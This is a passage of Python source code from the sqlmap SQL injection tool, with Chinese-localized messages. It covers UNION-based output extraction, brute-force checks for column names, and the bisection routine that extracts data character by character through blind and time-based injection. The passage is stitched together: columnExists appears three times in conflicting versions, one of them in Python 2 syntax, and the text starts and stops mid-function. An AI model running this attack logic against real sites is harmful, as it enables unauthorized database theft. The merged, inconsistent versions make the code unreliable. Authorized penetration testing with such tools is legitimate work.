retVal = getUnicode(retVal)
elif Backend.isDbms(DBMS.PGSQL):
output = extractRegexResult(
r"(?P<result>%s.*%s)" %
(kb.chars.start, kb.chars.stop),
removeReflectiveValues(_page, payload))
if output:
retVal = output
else:
output = extractRegexResult(
r"%s(?P<result>.*?)%s" %
(kb.chars.start, kb.chars.stop),
removeReflectiveValues(_page, payload))
if output:
try:
retVal = ""
for row in json.loads(output):
retVal += "%s%s%s" % (kb.chars.start, row,
kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal:
break
else:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return firstNotNone(
extractRegexResult(regex,
removeReflectiveValues(page, payload),
re.DOTALL | re.IGNORECASE),
extractRegexResult(
regex,
removeReflectiveValues(
listToStrValue((
_ for _ in headers.headers
if not _.startswith(HTTP_HEADER.URI)
) if headers else None), payload, True),
re.DOTALL | re.IGNORECASE))
# Automatically patching last char trimming cases
if kb.chars.stop not in (page
or "") and kb.chars.stop[:-1] in (page
or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlUnescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
retVal)
elif not kb.jsonAggMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
elif re.search(r"ORDER BY [^ ]+\Z", expression):
debugMsg = "retrying failed SQL query without the ORDER BY clause"
singleTimeDebugMessage(debugMsg)
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
retVal = _oneShotUnionUse(expression, unpack, limited)
elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)",
agent.nullAndCastField(expression)):
debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
singleTimeDebugMessage(debugMsg)
kb.nchar = False
retVal = _oneShotUnionUse(expression, unpack, limited)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def columnExists(columnFile, regex=None):
if kb.columnExistsChoice is None and not any(
_ for _ in kb.injection.data
if _ not in (PAYLOAD.TECHNIQUE.TIME,
PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = u"不建议使用'%s'和'%s'" % (
PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME],
PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += u"进行常用的字段的存在性检查"
logger.warn(warnMsg)
message = u"你确定你要继续吗? [y/N] "
kb.columnExistsChoice = readInput(message, default='N', boolean=True)
if not kb.columnExistsChoice:
return None
if not conf.tbl:
errMsg = u"缺少表参数"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
result = inject.checkBooleanExpression(
safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
(randomStr(), randomStr())))
if result:
errMsg = u"因为检测到的结果无效，所以无法对列的存在性进行检查，"
errMsg += u"(很可能是由于使用的注入无法区分错误结果)。"
raise SqlmapDataException(errMsg)
message = u"您要使用哪些常用字段(wordlist)文件?\n"
message += u"[1] 默认 '%s' (按回车)\n" % columnFile
message += u"[2] 自定义"
choice = readInput(message, default='1')
if choice == '2':
message = u"自定义的常用字段文件位置在哪里?\n"
columnFile = readInput(message) or columnFile
infoMsg = u"使用%s文件检查字段是否存在" % columnFile
logger.info(infoMsg)
columns = getFileItems(columnFile, unique=True)
columns.extend(_addPageTextWords())
columns = filterListValue(columns, regex)
table = safeSQLIdentificatorNaming(conf.tbl, True)
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
kb.threadContinue = True
kb.bruteMode = True
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(columns)
threadData.shared.value = []
def columnExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
column = safeSQLIdentificatorNaming(
columns[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
result = inject.checkBooleanExpression(
safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
(column, table)))
kb.locks.io.acquire()
if result:
threadData.shared.value.append(column)
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime(
"%X"), unsafeSQLIdentificatorNaming(column))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = "%d/%d items (%d%%)" % (
threadData.shared.count, threadData.shared.limit,
round(100.0 * threadData.shared.count /
threadData.shared.limit))
dataToStdout(
"\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
True)
kb.locks.io.release()
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = u"用户在检查字段存在性期间中止，sqlmap将只显示部分输出"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = u"找不到字段"
logger.warn(warnMsg)
else:
columns = {}
for column in threadData.shared.value:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ):
result = not inject.checkBooleanExpression(
"%s" % safeStringFormat(
"EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')",
(column, table, column)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat(
"EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))",
(column, table, column, column)))
if result:
columns[column] = "numeric"
else:
columns[column] = "non-numeric"
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]),
columns.items()):
if _ not in kb.brute.columns:
kb.brute.columns.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
return kb.data.cachedColumns
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
可用于在受影响的主机上执行盲目SQL注入的二分法
"""
abortedFlag = False
showEta = False
partialValue = u""
finalValue = None
retrievedLength = 0
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal and not conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
logger.info(infoMsg)
else:
infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
# 如果使用"common prediction"功能（a.k.a.“good samaritan”）或从API调用引擎，请设置kb.partRunSet
if conf.predictOutput:
kb.partRun = getPartRun()
elif conf.api:
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
firstChar = len(partialValue)
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
if kb.fileReadMode:
firstChar *= 2
elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
else:
firstChar = 0
if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
lastChar = int(lastChar)
else:
lastChar = 0
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.escape(expressionReplaced)
else:
expressionUnescaped = unescaper.escape(expression)
if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
length = int(length)
else:
length = None
if length == 0:
return 0, ""
if length and (lastChar > 0 or firstChar > 0):
length = min(length, lastChar or length) - firstChar
# 二分算法中输入(入口)的最大 (多线程) 长度
# MAX_BISECTION_LENGTH = 50 * 1024 * 1024
if length and length > MAX_BISECTION_LENGTH:
length = None
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length) or 1
if showEta:
progress = ProgressBar(maxValue=length)
if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
warnMsg = u"多线程在基于时间的数据检索中被认为是不安全的,自动关闭它"
singleTimeWarnMessage(warnMsg)
if numThreads > 1:
if not timeBasedCompare or conf.forceThreads:
debugMsg = u"启动%d个线程 %s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
numThreads = 1
if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
warnMsg = u"运行在单线程模式，请考虑使用选项“-threads”来更快的检索数据。"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta and not conf.api:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
hintlock = threading.Lock()
def tryHint(idx):
with hintlock:
hintValue = kb.hintValue
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
forgedPayload = agent.extractPayload(payload)
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return hintValue[idx - 1]
with hintlock:
kb.hintValue = None
return None
def validateChar(idx, value):
"""
用于推理——在基于时间的SQL注入中，如果原始值和检索的值不相等，会延迟响应时间。
"""
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result and timeBasedCompare:
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
if not result:
warnMsg = "在验证阶段检测到的HTTP代码'%s'与预期的'%s'不同" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
singleTimeWarnMessage(warnMsg)
incrementCounter(kb.technique)
return result
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
"""
continuousOrder意味着每两个相邻的数值之间的距离正好是1
"""
result = tryHint(idx)
if result:
return result
if charTbl is None:
charTbl = type(asciiTbl)(asciiTbl)
originalTbl = type(charTbl)(charTbl)
if continuousOrder and shiftTable is None:
# 用于逐渐扩展到unicode字符空间
shiftTable = [2, 2, 3, 3, 5, 4]
if "'%s'" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
if ord(char) in charTbl:
charTbl.remove(ord(char))
if not charTbl:
return None
elif len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
firstCheck = False
lastCheck = False
unexpectedCode = False
while len(charTbl) != 1:
position = None
if charsetType is None:
if not firstCheck:
try:
try:
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
except IndexError:
lastChar = None
if 'a' <= lastChar <= 'z':
position = charTbl.index(ord('a') - 1) # 96
elif 'A' <= lastChar <= 'Z':
position = charTbl.index(ord('A') - 1) # 64
elif '0' <= lastChar <= '9':
position = charTbl.index(ord('0') - 1) # 47
except ValueError:
pass
finally:
firstCheck = True
elif not lastCheck and numThreads == 1: # 在多线程环境中不可用
if charTbl[(len(charTbl) >> 1)] < ord(' '):
try:
# 如果当前值倾斜到0，则最好使用最后一个字符检查
position = charTbl.index(1)
except ValueError:
pass
finally:
lastCheck = True
if position is None:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
falsePayload = None
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
if timeBasedCompare:
if kb.responseTimeMode:
kb.responseTimePayload = falsePayload
else:
kb.responseTimePayload = None
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if not timeBasedCompare:
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
if unexpectedCode:
warnMsg = u"检测到意外的HTTP代码 '%s'，在类似情况下使用(额外)验证步骤。" % threadData.lastCode
singleTimeWarnMessage(warnMsg)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - 用于内存/空间优化的扩展虚拟字符集
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# 超越原来的字符集
elif minValue == maxChar:
# 如果原来的charTbl是[0,..,127]
# 新的一个将是[128,..,(128 << 4) - 1]或128到2047
# 而不是使用所有元素制作一个巨大的列表，
# 我们使用一个xrange，它是一个虚拟列表
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = xrange(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
threadData.validationRun = 0
# 推断重新验证字符的最大次数（根据需要）
# MAX_REVALIDATION_STEPS = 5
if retried < MAX_REVALIDATION_STEPS:
errMsg = u"检测到无效字符，重试.."
logger.error(errMsg)
if timeBasedCompare:
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
conf.timeSec += 1
warnMsg = u"时间延迟增加到%d秒%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
logger.warn(warnMsg)
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
dbgMsg = u"关闭时间自动调整机制"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
else:
errMsg = u"无法正确验证最后一个字符值('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
if timeBasedCompare:
threadData.validationRun += 1
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
dbgMsg = u"时间自动调整机制"
logger.debug(dbgMsg)
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
for index in xrange(len(originalTbl)):
if originalTbl[index] == minValue:
break
# 如果我们正在使用非连续元素，那么minValue和character之后都是可能的候选者
for retVal in (originalTbl[index], originalTbl[index + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
if result:
return decodeIntToUnicode(retVal)
return None
# Go 多线程 (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
threadData.shared.value = [None] * length
threadData.shared.index = [firstChar] # 作为python嵌套函数范围的列表
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
if threadData.shared.index[0] - firstChar >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.index.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[curidx - 1 - firstChar] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
progress.progress(time.time() - charStart, threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta and not conf.api:
_ = count - firstChar
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
output += status if _ != length else " " * len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = [_ for _ in partialValue]
value.extend(_ for _ in threadData.shared.value)
infoMsg = None
# 如果我们没有正确抓取一个字符，可能意味着与目标URL的连接丢失
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = u"\r[%s] [INFO] 部分检索: %s" % (time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = u"\r[%s] [INFO] 检索: %s" % (time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api:
dataToStdout(infoMsg)
# No 多线程 (--threads = 1)
else:
index = firstChar
threadData.shared.value = ""
while True:
index += 1
charStart = time.time()
# 常见的预测功能 (a.k.a. "good samaritan")
# NOTE: 注意：仅当暂时未设置多线程时使用
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
progress.progress(time.time() - charStart, len(commonValue))
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(commonValue[index - 1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
query = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index - 1:]
index += len(val) - 1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None:
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
threadData.shared.value = partialValue = partialValue + val
if showEta:
progress.progress(time.time() - charStart, index)
elif conf.verbose in (1, 2) or conf.api:
dataToStdout(filterControlChars(val))
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
break
if (lastChar > 0 and index >= lastChar):
finalValue = "" if length == 0 else partialValue
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
partialValue = None
break
except KeyboardInterrupt:
abortedFlag = True
finally:
kb.prependFlag = False
kb.stickyLevel = None
retrievedLength = len(finalValue or "")
if finalValue is not None:
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
if conf.hexConvert and not abortedFlag and not conf.api:
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
dataToStdout(infoMsg)
else:
if conf.verbose in (1, 2) and not showEta and not conf.api:
dataToStdout("\n")
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise SqlmapThreadException(u"线程内发生意外事件")
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def columnExists(columnFile, regex=None):
if not conf.tbl:
errMsg = "missing table parameter"
raise SqlmapMissingMandatoryOptionException, errMsg
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
if result:
errMsg = "can't use column existence check because of detected invalid results "
errMsg += "(most probably caused by inability of the used injection "
errMsg += "to distinguish errornous results)"
raise SqlmapDataException, errMsg
infoMsg = "checking column existence using items from '%s'" % columnFile
logger.info(infoMsg)
columns = getFileItems(columnFile, unique=True)
columns.extend(_addPageTextWords())
columns = filterListValue(columns, regex)
table = safeSQLIdentificatorNaming(conf.tbl, True)
if conf.db and METADB_SUFFIX not in conf.db:
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
kb.threadContinue = True
kb.bruteMode = True
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(columns)
threadData.shared.outputs = []
def columnExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
kb.locks.io.acquire()
if result:
threadData.shared.outputs.append(column)
if conf.verbose in (1, 2):
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), column)
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%s)' % (threadData.shared.count, threadData.shared.limit, round(100.0*threadData.shared.count/threadData.shared.limit), '%')
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.outputs:
warnMsg = "no column(s) found"
logger.warn(warnMsg)
else:
columns = {}
for column in threadData.shared.outputs:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
if result:
columns[column] = 'numeric'
else:
columns[column] = 'non-numeric'
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()):
if _ not in kb.brute.columns:
kb.brute.columns.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
return kb.data.cachedColumns
def columnExists(columnFile, regex=None):
if not conf.tbl:
errMsg = "missing table parameter"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
result = inject.checkBooleanExpression(
safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
(randomStr(), randomStr())))
if result:
errMsg = "can't use column existence check because of detected invalid results "
errMsg += "(most probably caused by inability of the used injection "
errMsg += "to distinguish errornous results)"
raise SqlmapDataException(errMsg)
infoMsg = "checking column existence using items from '%s'" % columnFile
logger.info(infoMsg)
columns = getFileItems(columnFile, unique=True)
columns.extend(_addPageTextWords())
columns = filterListValue(columns, regex)
table = safeSQLIdentificatorNaming(conf.tbl, True)
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
kb.threadContinue = True
kb.bruteMode = True
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(columns)
threadData.shared.value = []
def columnExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
column = safeSQLIdentificatorNaming(
columns[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
result = inject.checkBooleanExpression(
safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
(column, table)))
kb.locks.io.acquire()
if result:
threadData.shared.value.append(column)
if conf.verbose in (1, 2) and not hasattr(conf, "api"):
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime(
"%X"), unsafeSQLIdentificatorNaming(column))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (
threadData.shared.count, threadData.shared.limit,
round(100.0 * threadData.shared.count /
threadData.shared.limit))
dataToStdout(
"\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
True)
kb.locks.io.release()
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no column(s) found"
logger.warn(warnMsg)
else:
columns = {}
for column in threadData.shared.value:
